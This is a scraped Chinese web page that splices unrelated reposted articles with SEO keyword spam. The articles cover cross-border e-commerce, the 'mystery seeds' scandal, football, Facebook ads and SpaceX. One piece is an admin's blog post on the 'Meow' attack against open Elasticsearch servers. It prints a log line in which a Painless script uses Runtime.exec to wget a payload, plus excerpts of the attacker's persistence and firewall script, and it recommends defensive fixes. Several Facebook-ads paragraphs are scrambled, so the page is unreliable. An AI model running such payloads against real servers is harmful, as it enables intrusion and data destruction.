神秘种子又来了！深圳跨境卖家竟把邮包寄到这里

此前华尔街日报的报道，美国在过去一个月收到了1000多份含有种子的不明邮包，其中大部分来自中国，引发了美国农业部为首的多个部门关注和调查！这些"神秘种子"，被认为和中国跨境电商卖家有关，是用来做"刷单"的空包。

最近，神秘种子事件进一步升级，日本多地反映收到来自中国的"谜之邮包"，里边大多装着种子。甚至，经过一番渲染，有人甚至在网上说这些种子是有剧毒的生化武器！

华尔街日报大篇幅报道了这篇"美国人收到神秘种子邮包，大部分来自中国"（Americans Receive Mystery Seeds in the Mail, Mostly From China）

报道中展示了2个从苏州发出的中国邮政包裹，上边写的内含物分别是手链和戒指，重量分别为0.02kg和0.010kg，价值分别为1.5美元和0.945美元，但实际内容物，都是一包种子。从协议客户代号来看，发出者是同一个人（公司）。

这些刷单用的种子，日本也收到了！

一位东京都的女性表示，家里收到了一个中国邮政包裹，快递单上的品名写的是"Ring（戒指）"，发出地是深圳。

打开包裹后，发现里边是一包种子。

记者后来按邮包上的电话打回去，对方说寄件人是"查无此人"。

日本有网友引用了报道中这个包裹截图，认为是亚马逊泄露了买家信息，因为这些种子是寄到买家指定的亚马逊收货地址。

然后，大家才发现，日本各地陆续有报道，出现了来自中国的"谜之种子"。

无一例外，全部都是中国邮政的包裹！

甚至，日本艺人小川菜摘都在个人INS上提醒大家务必要小心这些中国邮政发过来的"神秘种子"。

一下子，推特上出现了大肆渲染这些神秘种子的帖子！

有人说，这些中国寄送的种子是新型生化武器，有剧毒，种到土壤里会导致周围所有的植物枯萎死掉。

日本农林水产省提醒，收到海外邮寄的种子不要开封，保持原有状态，送到就近的植物防疫所。

各位跨境电商同仁们，再这么发展下去，阴谋论还会继续升级，国际舆论上对我们真的非常不利啊！

这些空包刷单种子，对我们跨境电商行业的影响是极其严重的！在当地媒体和网络的一次次报道，轻则是使物流包裹查验力度空前加大，重则对整个出海产品品牌形象都会造成巨大负面影响！

各位卖家，不可再用寄种子刷单这种可能会断送我们整个行业的低下运营套路了！

（来源：跨境屋）

以上内容属作者个人观点，不代表立场！本文经原作者授权转载，转载需经原作者授权同意。

神秘种子又来了！深圳跨境卖家竟把邮包寄到这里订单处理与业绩表现查询、 跨境知道·2018亚马逊燃爆旺季打造极致流量系列之全方位解读CPC广告报表、 中国新制造-木瓜移动跨境电商品牌化战略高峰论坛、 跨知通、 一周Wish政策提醒回顾：中邮恢复12个地区的服务，A+法、澳路向有调整、 11月1日起，美国新泽西州开征电商销售税！、 去大连报团多少钱、 大连旅游要多少钱2018、 大连旅游要多少钱2018、

竞争对手是最好的老师：竞品分析，你需要做好这几个维度

在日常和卖家的交流中，我经常提醒，竞争对手是最好的老师，一个卖家要想打造好一款产品，必须能够精准的选出竞争对手并对他们从Listing呈现到打造思路和方法进行准确分析，博取众家之长为己所用，才能提高打造成功的几率，才能成为"胜兵先胜而后求战"的"胜兵"，而如果缺少对竞品的分析就盲目打造，凭着自己的拍脑袋式打造，最后也极易进入"上架即滞销"的落寞境地。

分析竞争对手重要，可很多卖家并不知道怎么如何分析竞争对手。结合以往的运营经验和给孵化营学员们上课时的总结，我将对竞品分析总结如下几条：

一、竞品是"竞品们"：竞争对手不能只选一个。

如果你只选Best Seller一个作为竞争对手，可能想一想Best Seller的销量和利润，都能从梦中笑醒，但现实是，一款产品要想卖得动都需要花一番心思，而要想卖得好则更需要很多参考，而Best Seller又偶然性，要想做出全面的市场预期评估，必须参考多个竞争对手才行。

二、选择竞争对手时要尽量选择"同功能"、"同风格"的Listing，而不应该局限于"同款式"。

很多卖家在选择和做竞品分析时，把自己的竞争对手局限于和自己完全相同的那些Listing，这很显然是缩小了分析半径，疏忽了消费者的心态。

在消费者决定购买一款产品前，很少会说自己要一个具体到款式、花色、材质的产品，更多的，消费者会选择一个具备某一功能的产品，沿着消费者的思路来看，你就能够意识到你的竞争对手有很多，只有把更多的竞争对手纳入分析的范围，你才能做出更客观全面的判断。而过度强调自己的材质、款式、工艺，然后鄙视别人的工艺差材质不一样，只会让自己优越感爆棚的同时什么也卖不动。

三、竞品清单是动态的，随时需要根据市场的变化进行调整。

一般来说，我们在打造一款产品时，会圈出20个左右的竞争对手，然后对竞争对手进行分析和学习，但每周都还会尽量的去发现一些新的势头正劲的竞争同行，将其纳入自己的竞品清单中，而对于表现下滑的Listing，也会剔除出自己的关注清单。

四、竞品分析包括多个维度：

竞品的Listing详情（包括关键词、文案、图片等内容）；

竞品的Review详情（包括详细的好评和差评内容等，提炼好评用于自己的Listing文案撰写，同时也会对差评进行分析，看自己是否可以从产品品质到产品文案上进行改进）；

竞品的价格设置（价格是竞争力，而横向参考制订自己的定价是运营成功的关键思维，很多卖家总是喜欢从成本的角度分析然后定价，这种纵向推算的成本定价法明显脱离于市场，很多时候就成了失败的关键）；

竞品的广告策略（通过在不同时段用同一关键词、不同关键词查询，尝试找出竞品的广告位，记录竞品的广告投放情况，然后做一个假设--如果竞品是我的，我这么做的目的是什么？想明白了这个问题，也就在很大程度上知道了竞品的广告投放策略，说不定也正好可以映照出自己的广告投放盲点）。

而以上的分析，需要养成习惯，每周甚至每天进行分析，通过大量的多次的分析，把竞品们运营的细节以及细节背后的思维抓取出来，这样的分析可以培养出自己打造一款产品时的"体感"，有了这种"体感"，才可以对打造一款产品有了更强的全局观，打造成功的几率也更大了。

（来源：跨境电商赢商荟）

以上内容属作者个人观点，不代表立场！本文经原作者授权转载，转载需经原作者授权同意。

竞争对手是最好的老师：竞品分析，你需要做好这几个维度拨开亚马逊流量疑云 掌控真套路、 关键词、 乐一番、 如何检查网站是否被竞争对手Negative SEO攻击？、 2018亚马逊Prime Day各站点Best Seller盘点！、 6个小技巧助你在亚马逊Prime day爆单、 大连半自由行、 去大连报团多少钱、 去大连报团多少钱、

半年营收15亿，跨境大卖遨森订单激增

近日，宁波跨境大卖遨森电商发布2020年半年度财报。根据财报显示，截止2020年6月30日，2020年上半年遨森实现营业收入达到15亿，同比增长87.80%，主要受全球新冠疫情的影响，在线订单激增，销售大幅提升。

遨森电商销售的产品主要分为户外系列、居家系列、健康休闲系列及其他商品。一方面，通过遨森官网或者 亚马逊、eBay等电商平台销售，另一种方式为间接销售，遨森电商直接向电商平台批发销售，再由电商平台负责进行直接销售给终端用户。

半年营收15亿，跨境大卖遨森订单激增zen-cart、 Listing的构造及优化、 2017·wish的发展方向、 DHL推出Parcel Metro服务，物流配送或将大幅降价！、 站外引流网站及案例分享 （仅供参考）、 整理了一些小工具卖点积分（电脑NVP） -适合新手、 哈尔滨游价格、 哈尔滨游价格、 哈尔滨旅游组团、

CODING 企业微信小程序上线了

千呼万唤始出来，经过几个月的打磨与测试，CODING 企业微信小程序现已上线！绑定企业微信账号后，添加企业微信小程序，团队成员便可以在小程序内实时接收通知、查看任务详情并进行评论、查看代码合并请求、查看构建记录等，方便随时随地管理项目。

功能一览

查看工作台内容

• 查看我的事项

在【我的事项】中可以查看个人所参加项目中的各类事项，包括任务、需求、缺陷和史诗。点击标题进入详情页后还可对事项进行评论。使用左侧【全部项目】进行筛选，将会显示在项目设置中设置的星标项目和已创建的分组。

• 查看我的迭代

在【我的迭代】中可以查看已经设置的迭代，将按照迭代内关联事项的完成数量，计算该迭代的完成进度。

• 合并请求

在合并请求页中可以查看由个人发起的代码合并请求，及待评审的代码合并请求。

• 构建记录

构建记录页会显示各个项目的构建记录，包含成功或失败的记录。使用左侧【全部项目】可按照不同的项目筛选并查看相应的构建记录。

• 消息

消息栏中会推送当前用户已关注的、支持的四种对象（事项、迭代、代码合并请求及构建记录）的通知。

• 个人界面

通过右下方个人头像即可进入个人页面，可以在这里管理推送和通知。

如何绑定

完成以下三步，即可绑定企业微信小程序：

• 团队帐户绑定企业微信
• 个人帐户绑定企业微信
• 团队帐户绑定企业微信小程序

团队帐户绑定企业微信

1、团队管理员可在【团队管理】->【服务集成】->【企业微信选项】中绑定，跳转至企业微信二维码页面后使用企业微信管理员账号扫码，根据提示操作即可。

2、设置应用可见范围，选择可见的部门和人员，选择【同意以上授权，并添加】的同时可以选择是否添加 CODING 客服为外部联系人。

3、绑定企业微信成功后，在【服务集成】->【企业微信选项】将显示【已绑定】。

个人帐户绑定企业微信

• 点击通知消息自动绑定

管理员账号与企业微信绑定成功后，可见应用的成员将会收到绑定成功的消息通知，点击该消息即可自动绑定。

• 手动绑定

1、团队成员可在【个人设置】->【绑定设置】->【企业微信选项】中根据提示手动绑定。

2、绑定企业微信成功后，在【绑定设置】->【企业微信选项】将显示【已绑定】。

团队帐户绑定企业微信小程序

团队管理员可在【团队管理】->【服务集成】->【企业微信小程序选项】中根据提示进行绑定操作。

企业微信管理员及上述步骤中设置的可见部门和人员，均可在【企业微信 App】->【工作台】中使用所添加的小程序。

点击前往帮助文档查看详细操作
关于 CODING，了解更多

CODING 企业微信小程序上线了Wish政策、 Google东莞体验中心精品课程、 55海淘、 俄通收、 亚马逊快闪店全面关停，是逼不得已还是另有图谋？、 德联邦议院报告：亚马逊语音系统对用户有风险、 赤湾左炮台属于哪个区？、 西丽湖度假村环境怎么样？好不好？、 清明去笔架山登高好不好？、

恒大本轮中超完胜深足，球迷却揪出场上最大水货，曾是当红国脚_徐新

原标题：恒大本轮中超完胜深足，球迷却揪出场上最大水货，曾是当红国脚

本轮中超恒大对阵深足的比赛中，恒大靠着韦世豪、张琳芃、杨立瑜的进球以3比1战胜了对手，迎来了新赛季中超三连胜。看过比赛的球迷都觉得恒大能拿下深足是非常不容易的事情，因为恒大一度被深足按着打。好在关键时刻保利尼奥站出来，他在门前补射进球，让恒大以3比1锁定了这场比赛胜局。

如果说保利尼奥是恒大这场比赛球队获胜最大功臣，那么徐新则是球队表现最差的球员。徐新在下半场被卡纳瓦罗换上，球迷对这位强援寄予厚望，希望他可以挑起后腰大梁。然而徐新在上场之后，并没有拿出让球迷信服的表现。相反徐新在攻防两端毫无作为，让球迷难以相信他还是上赛季在恒大后腰位置发挥国脚级的黑马强援。徐新在上赛季恒大经历非常励志，但是他已经因为在前两个赛季踢不上主力，被视为离队热门。

徐新的名字一度跟河南建业和武汉卓尔联系到了一起，正当球迷觉得徐新马上就要离队时，恒大主帅卡纳瓦罗的力挺，让他幸运留在了俱乐部。徐新抓住了张修维表现的机会，成功在恒大站稳了脚跟。让徐新感到意外之喜的是他靠着在恒大比赛能攻善守的表现，还多次入选国足。原本徐新在恒大本赛季踢主力的前景，被很多球迷看好。然而恒大主帅卡纳瓦罗在中超前两轮的比赛，后腰位置上都选择让张修维和黄博文踢首发。

张修维和黄博文坐镇球队后腰位置，让徐新只能暂时在板凳席上等待机会。卡纳瓦罗在恒大对阵深足的比赛，想看看徐新的状态能不能在球队踢轮换主力。所以下半场卡纳瓦罗就让徐新替补出场，希望他能好好表现。另外深足在比分落后时，球队向恒大展开了猛烈的攻势。

卡纳瓦罗使用以防守见长的徐新上场，也是希望他能加强一下恒大防守。或许是太长时间没有在恒大比赛中出场，徐新的比赛感觉不是很好。他在恒大攻防两端都处于全面隐身状态，让恒大球迷直言用他还不如用张修维。所以徐新在后面恒大比赛中，必须拿出更多具有说服力的表现，否则他就将成为恒大水货后腰，长时间枯坐板凳。

本文插图来源于网络返回搜狐，查看更多

责任编辑：

恒大本轮中超完胜深足，球迷却揪出场上最大水货，曾是当红国脚_徐新人效分配、 CPC关键词选择、 c79、 怎样解除亚马逊对买家邮件的限制、 社交选品工具、 前方高能（新手注意！）：你最想知道的关键词优化攻略 、 去诺唯真邮轮旅游多少钱、 诺唯真邮轮高端品质旅游团、 诺唯真邮轮高端品质旅游团、

Meow攻击删除不安全（开放的）的Elasticsearch（及MongoDB） 索引，建一堆以Meow结尾的奇奇怪怪的索引（如：m3egspncll

Meow攻击 删除 不安全的 Elasticsearch 和 MongoDB数据库

 

07月29日，早上一来，照例先连接Elasticsearch查看日志【禁止转载，by @CoderBaby】，结果，咦，什么情况，相关索引被删除了（当天正在写入数据的索引，不能被删除），产生了一堆以Meow结尾的奇奇怪怪的索引，如下图：

 

一阵紧张、懵逼，赶紧查看日志，发现如下问题：系统在远程连接并下载执行一个脚本，如下（慌张）：

[2020-07-28T14:02:02,540][DEBUG][o.e.a.s.TransportSearchAction] [m3egspncll-meow][0], node[CnXg4eVSSd-Wsp_otUjL7A], [P], s[STARTED], a[id=cLeu7vMiSAy6X-45si-50w]: Failed to execute [SearchRequest{searchType=QUERY_THEN_FETCH, indices=[], indicesOptions=IndicesOptions[id=38, ignore_unavailable=false, allow_no_indices=true, expand_wildcards_open=true, expand_wildcards_closed=false, allow_alisases_to_multiple_indices=true, forbid_closed_indices=true], types=[], routing='null', preference='null', requestCache=null, scroll=null, maxConcurrentShardRequests=5, batchedReduceSize=512, preFilterShardSize=128, source={ "size" : 1, "script_fields" : { "lupin" : {  "script" : {  "source" : "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"wget -P /tmp/sssooo\").getText()",  "lang" : "painless"  },  "ignore_failure" : false } }}}] lastShard [true]

 查看整个脚本，可以看到，里面在修改防火墙配置、串改系统安全加固、设置watchdog等等（害怕），脚本部分相关代码如下（脚本可到：）：

 chmod 777 /tmp/networkservice chattr +i /tmp/networkservice chmod 777 /tmp/sysguard chattr +i /tmp/sysguardiptables -A OUTPUT -p tcp --dport 5555 -j DROPiptables -A OUTPUT -p tcp --dport 7777 -j DROPiptables -A OUTPUT -p tcp --dport 9999 -j DROPiptables -I INPUT -s 43.245.222.57 -j DROPservice iptables reload

然后一通google，发现腾讯安全团队和国外一个安全的哥们已发现此问题，如下（截止7月24日，他们发现已经有1779个Elasticsearch和MongoDB受到攻击）：

可以去作者Twitter账号（梯子请自备  https://twitter.com/MayhemDayOne?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1286577695946608640%7Ctwgr%5E&ref_url=https%3A%2F%2Fwww.searchenginejournal.com%2Fmeow-attack%2F375764%2F）关注Meow攻击的后续进展，截止笔者发稿（8月5日），还有最新的进展：

【后续进展】

7月27号，攻击者会让受害者转到一个支付链接：

7月28号，有更多的受害者的数据被删除：

【问题原因】

Elasticsearch默认会对外开放9200端口，便于远程通过插件（如Elasticsearch-head）访问和管理。连接到服务器端口的任何个人和组织，就可以通过调用相应的API进行增删改查。

【解决方案】

（1）开启防火墙（service iptables start），或者关闭9200端口（iptables -A INPUT -p tcp --dport 9200 -j DROP），如需开放9200端口，建议在安全组限制只允许指定IP才能访问

（2）在config/elasticsearch.yml中为9200端口设置认证，相关配置参数可参考:

http.basic.enabled true #启动认证，开启会接管全部HTTP连接http.basic.user "admin" #配置认证账号http.basic.password "admin_pw" #配置认证密码http.basic.ipwhitelist ["localhost", "127.0.0.1"] #白名单

（3）使用Nginx搭建反向代理，通过配置Nginx实现对Elasticsearch的认证

 参考

（1）https://www.searchenginejournal.com/meow-attack/375764/#close

 

后记：

还好本人受攻击的只是测试服务器上的实验数据，后面果断公司卖出的服务器相关Elasticsearch开放端口全部关闭；

之所以被称为Meow攻击，是这个攻击在日志里会留下“Meow”的相关字符，并且创建以“Meow”为结尾的索引，可爱的喵星人，meow...

*******************************************************************************

精力有限，想法太多，专注做好一件事就行

• 我只是一个程序猿。5年内把代码写好，技术博客字字推敲，坚持零拷贝和原创
• 写博客的意义在于打磨文笔，训练逻辑条理性，加深对知识的系统性理解；如果恰好又对别人有点帮助，那真是一件令人开心的事

*******************************************************************************

Meow攻击删除不安全（开放的）的Elasticsearch（及MongoDB） 索引，建一堆以Meow结尾的奇奇怪怪的索引（如：m3egspncll慧聪集团、 c88、 上线实操、 打掉亚马逊跟卖的N种方法， 如果常规的处理方法无效，我们也不妨通过这些方法来解决。、 亚马逊站外引流：玩转Facebook 28节视频课程、 到2020年，有86％的亚马逊第三方卖家表示有盈利、 从布吉海关开车去太阳百货，怎样走可以避开东门中路？、 五月份有什么节日？五月份有哪些重要节日？、 徒步穿越东西冲好不好？、

Facebook广告投放策略与优化Facebook广告成效的技巧方式

跨境电商卖家们如果想要在海外占据自己的消费市场，营销的规划和部署是必不可少的。在这个以社交为主流信息传播时代，想要做好跨境电商海外营销，Facebook广告投放的有效利用必不可少，不管是对产品还是品牌的推广都尤其重要。

Facebook凭借其庞大的用户基数以及日趋完善的广告后台，已经成为很多企业打开海外市场的重要广告途径之一。Facebook广告资料库可以深入地了解竞争对手正在投放的目标广告，为数字营销人员提供了强大的新资源，以获取竞争优势。从信息广告的选项卡过渡到广告库，很大程度上来说将Facebook广告做得更加透明，用户访问也更加方便。

Facebook广告投放，是Facebook运营的重要环节。通过合理的广告投放，我们可以将产品精准地推广到更广泛的人群中，给网站/店铺带来流量，同时提升商业主页粉丝和活跃度。在Facebook上投放广告，目标用户群选择准确、素材制作吸引人等等因素都会使我们的广告效率更好，成本更低。

Facebook广告规范的简要概要：

● 图片广告：尺寸：1,200 X 628像素。比例：1.91：1。文字：90个字符。标题：25个字符。链接描述：30个字符。

● 视频广告：格式：.mov或.mp4。比例：16：9。分辨率：至少720p。文件大小：最大2.3 GB 缩略图尺寸：1,200 x 675像素。文字：90个字符。标题：25个字符。链接描述：30个字符。

● 轮播广告：图片大小：1,080 x 1,080像素。图像/视频比例：1：1。文字：90个字符。标题：40个字符。链接描述：20个字符。

● 幻灯片广告：尺寸：1,289 x 720像素。比例：16：9,1：1或2：3。文字：90个字符。标题：25个字符。链接描述：30个字符。

如果说了解上述尺寸规范可以确保你的广告正确显示，那么，熟悉《Facebook广告投放雷区》就关系到你的广告能否通过审核，顺利投放。

不同的广告目标推广策略

FB给广告提供给了很多不同的广告目标，你可以根据这些目标设置你自己的目标。

1.品牌认知 Awareness，提升知名度，说白了就是混个脸熟

品牌知名度 Brand awareness，向更可能花更多时间浏览你广告的用户推广

覆盖人数 Reach，向尽可能多的用户推广

2.购买意向 Consideration，营销漏斗中间层，提升参与度

访问量 Traffic，向更可能访问目标位置（网站等）的用户推广

参与互动 Engagement，向更可能发生互动的用户推广，互动包括点赞、评论、分享、活动响应等

应用安装量 App installs，向更可能安装应用的用户推广

视频观看量 Video views，向更可能观看视频的用户推广

消息互动量 Messages，吸引更多用户通过 Messenger 联系你

3.行动转化 Conversion，营销漏斗底部，提升转化量

转化量 Conversions，向更可能产生转化的用户推广，转化包括添加到购物车的动作等

目录促销 Catalog sales，根据目标受众自动展示目录商品

店铺访问量 Store visits，向周边用户推广多家分店

国内的广告主常用的广告目标是其中两个，应用安装量 App installs 和 转化量 Conversions，前者用于推广应用和游戏，后者用于推广电商。

一旦你选择了不同的广告目标，那么就会有不同的广告投放优化的选项让你选择，他们分别是

定价策略

速卖通上这个产品额定价是12美金美国包邮。我们在定价的时候，可以给产品定到24.99美金包邮或者29.99美金包邮。

刚开始测的时候，我会先定到24.99美金，当转化成本稳定后，再考虑提价到29.99美金。

对于这类提升旅行舒适感的产品，只要营销得当，很轻易就可以做到30美金的客单价。

销售策略

这类产品一定要做数量折扣，因为家人也会使用，一个往往不够用，所以在进行优惠设置的时候， 购买2件可以享受10%的折扣，买3件享受15%的折扣。Shopify的app 中心很多这样的quantity discount，安装一个就好了。

提高页面粉丝（Promote You Page)

顾名思义，该广告用于提升页面粉丝数。对于一个新开的主页，建立一定基数的粉丝数是重要的。所以，该种广告适用于主页开通之初，可以较快地提高主页粉丝数。

帖文互动（Boost You Post)

该种广告，用于提高内容的覆盖数，将内容更多地投放到非粉丝人群中。同时，Facebook主页覆盖率一直降低（覆盖率=内容实际观看人数/主页粉丝数）。一定程度上，主页也需要针对已有粉丝投放广告。帖文互动是一种高效的广告形式，能够达到商家内容实际地被用户群体接受的效果。对于我们想要推送的爆款、活动以及一些特定折扣，贴文互动的广告是非常有效的。

追踪流量转化（convisitions)

这种广告，适用于独立网站，需要安装相关追踪代码，可以针对访问过网站以及在网站上有特殊操作（比如观看某些页面、点击了加入购物车、选择了checkout、付过款等）的人群来投放广告。这个比较复杂，需要具备一定的技术能力和数据分析能力。但是非常有效，通过追踪用户的行为最终提高转化，从而提高流量的转化率。

有很多卖家，关心如何评价广告成效，有没有简单直观的方式，了解投放广告的成效？广告相关性得分Facebook答案是：有，(Relevance Score)

Facebook）来定会更加准确。Cost per Acquisition（CPA广告相关度分数只是一项数据指标，并不能以此分数来完全归纳广告的成效，广告的成效，往往还是以广告Facebook分来定义广告的成效。一般情况下，广告成效由广告单价和广告结果叠加而成。如果广告相关度分数较低，表明广告成效不好，我们需要调整广告设置。广告相关性得分，提供了一个相关建议的查看与评估标准，而根据我们的经验，0-10次展示下用户对广告的互动程度，以500广告相关度得分是一种简单直观评估广告成效的参数。广告相关性得分是以广告。

Facebook广告相关性评分

关联性评分是Facebook衡量广告质量和参与程度的标准。关联性评分很重要，因为它决定了你每次点击Facebook的成本以及Facebook显示广告的频率。关联性评分为1-10分，'1'代表一个糟糕的广告，'10'则代表这是一条很棒的广告。你的相关性分数越低，你的受众就越少，你更需要付钱来维持它的循环。

广告投放500次以上，Facebook会对你的广告进行评分。尽管如此，该指标并不是根据实际参与度进行衡量——它根据Facebook预测的广告参与度，基于广告系列目标和受众群体粒度进行衡量。

广告相关度分数用于衡量广告与目标受众的相关度。如果需要提升提升广告相关度分数，应该做到以下几点：

精准人群定位

通过广告测试，向相同受众群展示不同广告，或向不同受众群展示相同广告，即广告A/B测试。为获取最精确的结果，建议一次测试一个变量。认真研究当前的广告成效分析报告，发掘可取之处。

仔细选择广告图片、视频和文案

广告图片、视频比文字更引人注目，因此首先要提高图片/视频的质量。确保文案简洁洗练，契合所推广的内容。不要使用冒犯性或误导性内容。这样的内容或许可以吸引用户眼球，但最终会导致用户体验不理想。尝试寻找与众不同的方法，争取脱颖而出。在这里，我们建议卖家更多地使用视频、轮播或者Slide Show的广告形式来制作广告。

更新广告创意

随着时间推移，曾经对广告反响积极的受众可能会出现审美疲劳。当广告的相关度分数下降时，尝试使用针对相应受众群的新内容创建新广告。

关于广告的A/B测试，使用Facebook做广告投放和运营，需要就受众选择、广告创意、广告文案等方面做测试，特别在受众选择上，我们需要准确了解用户的区域、年龄段、性别、职业、兴趣爱好等，通过单一因素的变量，来准确了解用户的选择和对广告素材的偏好。

针对男女性。保持其他条件设置相同，最后从三组广告成效中，得出哪个性别对广告是最佳的。同样的原理，我们会测试年龄、区域、职业、兴趣爱好、家庭等特征，从而找出最佳的用户人群。C针对男性，广告组B针对女性，广告组A举例来说：我们某个服装产品，需要测试性别是否会对产品有影响。我们会设置一个广告系列，在广告系列之下设定三个广告组：广告组

关注你的竞争对手

上图研究了非常广泛的广告商数据，包括来自18个不同行业的256个账户(Facebook总支出约553,000美元)，以下四个指标提供参考：

●按行业划分的Facebook广告平均点击率(CTR)

●按行业划分的Facebook广告平均每次点击费用(CPC)

●按行业划分的Faceboo广告平均转换率(CVR)

●按行业划分的Facebook广告平均每次操作费用(CPA)

无论你所从事的行业是什么，服装也好，教育，医疗保健还是房地产，你都可以利用Facebook广告基准中编制的数据来了解你的Facebook广告效果如何，与竞争对手相比有什么差距。

广告活动的受众

建立广告前你一定要思考清楚你的受众到底是谁，而他们兴趣又是什么。

你可以用人口统计资料(国家、年龄、性别等)、过去在网路上的行为纪录(造访过你的网站的使用者、提供订阅email的用户、过去曾购买过你的产品的顾客等)

甚至是他们的兴趣(喜欢什么、讨厌什么、有什么习性等)来区分你所想到触及到的受众。

广告投放时段

一年当中，总是有某些特别的时段广告费用与平日相比会异常的高，原因就是竞价激烈，例如：超级碗(Super Bow)、黑色星期五(Black Friday)、劳工节( Labor Day)等，在这些可以聚集人群的日子或是购物旺季中，以美国来说，尤其是接近年末时，各大厂商间的竞争非常激烈，现金流不够充裕或资本不够雄厚的小厂商根本难以和大厂商相互抗衡。

要想Facebook广告投放既省钱又能有好的转化绝非易事，且行且学习！

（来源：跨境电商随记）

以上内容属作者个人观点，不代表立场！本文经原作者授权转载，转载需经原作者授权同意。

Facebook广告投放策略与优化Facebook广告成效的技巧方式黄远、 亚马逊全球开店制造、 折扣网站、 亚马逊印度站调整佣金政策：多个品类佣金下调，最高达75%！、 【运营实操】好实用的亚马逊定价工具、 联邦快递被查，对中国快递企业意味着什么？、 内蒙古旅游跟团需多少钱、 内蒙古旅游费用多少、 内蒙古旅游费用多少、

惊天一跃！马斯克宇宙飞船首次起飞，火星移民梦想更近一步SpaceX

　　来源： DeepTech深科技

　　北京时间 5 日早晨 8 点，承载着埃隆·马斯克火星移民梦想的 Starship 飞船测试原型进行了首次高度达到 150 米的悬停测试。这也是迄今为止，最重要的一次测试，地点在美国得克萨斯州的发射场。

　　在点火后，飞船原型 SN5 上升到预定的 150 米高度，在保持高度的情况下，横向移动到旁边的降落区后缓慢降落，最终平稳着陆，整个过程约为一分钟。

　　这个测试让所有人兴奋不已。因为在这之前，SpaceX 通知让周边的人都撤出，但其实直到飞船起飞前的一刻，人们也不知道它的准确点火时间。

　　马斯克不止一次说过，如果太空旅行能像现在坐飞机一样普遍，那未来文明将变得有保障。现在看来，他说这番的话的底气越来越足，前两天，SpaceX 刚完成了首次载人飞船的回收工作，为首次载人飞行划下完美的句号；如今，面向未来星际旅行的宇宙飞船 Starship 也迎来了重大进展。

　　Starship 的里程碑

　　早在 7 月 21 日，马斯克就发推特放出预告，各个团队已经在为 SN5 的首飞做准备，"将在本周晚些时候尝试飞行"。也就是说，按照马斯克的预期，SN5 应该在上周完成首飞。在预告放出后几天里，SpaceX 位于 Boca Chica 的基地持续吸引来众人的关注。

图 | 飞行前的平静

　　但随后一场飓风来袭，打乱了原有的节奏。不过有意思的是，单从测试角度来看，如果在极端天气下进行试飞，在最终效果上可能更能够测试宇宙飞船的全天候飞行能力。

　　尽管如此，对于 SN5 这样的原型机来说，在大风中进行飞行测试还是有诸多弊端，可能会影响飞行的关键测试数据，所以最终还是在飓风过后才进行点火和飞行测试。

图 | 宇航员在太空中拍下的飓风图片

　　SN5 的高度相当于一栋小型建筑，搭载单台最新的猛禽火箭发动机，点火升空后，缓缓上升到差不多 50 层楼高的位置，悬停一阵后，依靠一台发动机摆动调整方向以及发动机的推力变化，缓缓下降，精准落下。

图 | SN5 起跳

　　自马斯克从去年 9 月发布了 Starship 宇宙飞船以来，SpaceX 在相关的测试中就频频受阻，SpaceX 去年开始打造的数个全尺寸的 Starship 原型机不断在测试场里被爆破。

　　此次起飞高度虽然仅有 150 米，对火箭、飞船来说，这个高度只能算是轻轻地"跳"了一下；但对 SpaceX 来说，总算是让 Starship 在测试中成功离开地面，这迈出了巨大的一步。

　　按照 SpaceX 的思路，Starship 的研制节奏，就是在不断的测试中，一点一点往前推进。

　　从这个角度来说，Starship 的测试工作已经正式从地面测试跨入了飞行的阶段。

　　从现场图片看，后续的不止一台测试原型机已经处于组装当中。原本 SN4 在测试的时候，后续的 SN5、SN6 就已经在现场进行组装工作，准备进行后续的测试、飞行工作。事实上，按照 SpaceX 此前的安排，SN4 本要进行 150 米的飞行，但在一次点火测试中，SN4 突然发生爆炸，随后 SN5 才被抬了上来。

图 | SN4 爆炸

　　而在 SN5 完成使命后，后续的 SN6、SN7 就要继续出场，进行进一步的测试飞行。

　　与此同时，SpaceX 及其承包商正在建造一个巨大的新型飞行器装配大楼 （VAB），未来 SapceX 将开始在飞船上装上一级助推器。

　　马斯克也曾透露，下一代原型机 SN8 组装工作也正在顺利进行，特点是使用了一种新型的不锈钢合金，更重要的是，SpaceX 已经为其准备了三台猛禽发动机。也正是在 SN5 成功"起跳"基础上，后续的原型机将有望进行高度达到 20 公里的亚轨道飞行测试，在那之后，进一步的入轨发射任务将提上日程。

　　根据马斯克的说法，在 Starship 最终成型前，SpaceX 可能要造出 20 台原型机进行测试，那么可以期待的是，Starship 未来的密集测试将会带来一个"飞船满天飞"的场景。

　　到那个时候，日常的飞行可能就不再是一个非常激动人心的大事，但也正如猎鹰 9 号火箭习惯了发射成功一样，飞行的常态化更是意味着 Starship 飞船的成长。

　　爆炸、爆炸再爆炸

　　Starship 是 SpaceX 为未来星际飞行打造的新一代载人飞船，包括了底部的火箭助推器和上面的飞船，完全可重复使用的 Starship 除了能向地球轨道运送卫星，还能满足向月球和火星运送货物甚至载人的需求。

　　今年 4 月 SpaceX 发布了首个 Starship 手册，提出 Starhip 最大的载人能力是将 100 人从地球表面送到低地球轨道，最终再送到月球甚至是火星表面。

　　当然了，理想很美好，现实很骨感。

　　SpaceX 总能给出极具科幻感的飞船效果图，甚至包括月球登陆版的飞船图片。这些效果图每一次都能击中无数人心中对宇宙飞船的美好幻想。

　　但事实上，这些出现在 SpaceX 工厂中的测试机，看起来更像是劣质钢板随便堆叠而成，甚至让人怀疑会不会漏风。

　　且在真正飞起来之前，SpaceX 对一个又一个测试机进行加压测试时，每一次看起来都没有好结果。再夸张点说，这些大大小小的原型机总能以各种姿势在测试中爆炸。

　　2019 年 9 月，一场关于星际旅行的发布会在 SpaceX 位于得州的总部召开，当时最新的原型机 MK1 正式亮相，从那时开始，一系列密度更高的测试随即展开。

　　发布至今的 10 个月里，Starship 相关测试已经进行多轮，测试原型机也在数次测试中不断迭代：

　　MK1 原型机：2018 年 12 月开始建造，2019 年 11 月压力测试失败。该测试失败也导致同期正在打造的 MK2、MK4 原型机直接退役；

　　SN1 原型机：2019 年 10 月开始建造，2 月 28 日的压力测试失败；

　　SN2 原型机：2020 年 2 月开始建造，在 SN1 失败后，SN2 被改造用作部分部件测试，已于 3 月退役；

　　SN3 原型机： 2020 年 3 月开始建造，4 月 3 日低温试验失败。

　　SN4 原型机：2020 年 4 月 26 日首次通过低温测试，5 月 29 日在爆炸中完全摧毁。

　　一大波飞船正在靠近

　　一直以来，SpaceX 都在位于得克萨斯州 Boca Chica 的工厂进行相关的组装和测试工作。

